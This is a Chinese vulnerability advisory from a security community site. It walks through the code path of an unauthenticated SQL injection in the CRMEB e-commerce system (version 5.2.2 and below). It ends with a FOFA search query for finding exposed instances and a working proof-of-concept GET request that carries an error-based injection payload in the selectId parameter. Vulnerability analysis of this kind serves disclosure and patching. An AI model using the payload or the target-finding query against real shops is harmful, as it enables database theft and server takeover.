xhys121zero2024-12-20文章来源:SecHub网络安全社区
CRMEB开源电商系统是一款由西安众邦网络科技有限公司打造的全栈式电商解决方案,旨在为开发者和商家提供高性能、智能化的电商平台服务。该系统集成了CRM(客户关系管理)、ERP(企业资源规划)和EB(电子商务)的功能,通过深度结合这些功能,帮助用户快速构建稳定且功能丰富的在线商城
该漏洞可以通过请求api的路径接口来进行SQL注入,进而可能导致敏感信息泄露,该注入可暴露后台web绝对路径,深入利用可获取服务器权限,该漏洞无前置条件且利用简单,建议受影响的用户尽快修复漏洞。
5.2.2 以下版本
提要:该代码是一个框架的代码分析起来有些许麻烦
首先进入到api/controller/pc/ProductController.php
中
在这里有一个getProductlist
方法用于获取商品列表
分析:该方法说先是获取到请求中的参数(如sid、cid、selectId等)若请求中没有就设置为默认值,接着就是判断selectID
以及sid
或cid
是否存在,若存在就调用 $services
对象的 value
方法,然后根据返回结果将selectId
的赋值给sid
或cid
,然后就是对ids
参数的设置操作,最后调用getProductList
方法将执行的结果通过json
的方式返回
接着来到getProductList
方法中
分析:对where数组下的is_show
,is_del
、vip_user
、count
进行了相关设置,接着调用了getPageValue
方法来获取分页的当前页码和每页显示的记录数,然后调用了getSearchList
方法这似乎是进行了数据库的查询操作将值赋值给list,遍历list根据遍历的结果对item
数组的star进行赋值,接着调用getActivityList
来获取与产品相关的活动列表。然后对data
的list键赋值,返回data。
接着我们来到getSearchList
方法中
这段代码密密麻麻的一大片看起来很麻烦,我们抽取其中的一部分进行分析
我们分析这一小段:
$this->search($where, false)
:调用当前对象的 search
方法,传入查询条件 $where
和一个布尔值 false
。我们进入到该方法中
分析:先是判断了where
是否存在,若存在就调用withSearchSelect
,反之调用getModel
,那肯定where是存在的呀
接着来到withSearchSelect
方法中
分析:该方法首先是调用getSearchData
方法将返回结果赋值给$with
(用于 withSearch
方法的搜索条件)以及$otherWhere
(其他需要应用的查询条件),接着就是调用 getModel
方法获取当前模型的数据库查询构建器实例;然后调用withSearch
方法允许你根据提供的字段和数据来构建搜索查询,接着就是当 $search
为 true
,则会进一步应用 $otherWhere
条件,但是前面已经将其之设置为false
进无法进入闭包的作用域中
search
方法就分析完了,接着有调用了with
方法用于指定查询中需要包含的关联关系。然后就是通过when方法判断是否page
且limit
不为0,若结果为true,那么就进入到闭包作用域中调用 $query->page($page, $limit);
来设置分页参数
when(isset($where['sid']) && $where['sid'], function ($query) use ($where) {
$query->whereIn('id', function ($query) use ($where) {
$query->name('store_product_cate')->where('cate_id', $where['sid'])->field('product_id')->select();
});
接着再次调用 when
方法,这次检查 $where
数组中是否存在 'sid'
键,并且该键的值不为空。如果条件为真,则执行闭包函数。在闭包函数中,使用 use
语句将 $where
变量引入闭包的作用域。在闭包函数内部,调用 $query
的 whereIn
方法来构建一个 IN
子句,用于筛选 id
字段完成这些之后,进入到子查询中,使用 name
方法指定查询的表名。然后,使用 where
方法添加条件,筛选 cate_id
字段。接着,使用 field
方法指定需要选择的字段 product_id
。最后,调用 select
方法来执行子查询并获取结果。
这就完成了一个字段内容的获取整个getSearchList
方法都是类似于上述描述的过程来完成sql语句的执行操作,尽管十分复杂分析起来,但是我们发现这个sql语句的执行过程中并没有进行任何过滤限制,进而造成了sql注入的形成
fofa
body="/wap/first/zsff/iconfont/iconfont.css" || body="CRMEB"
poc
GET /api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,user()))),0x7e),3550) HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Authori-zation: Bearer null
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
更新至最新版本即可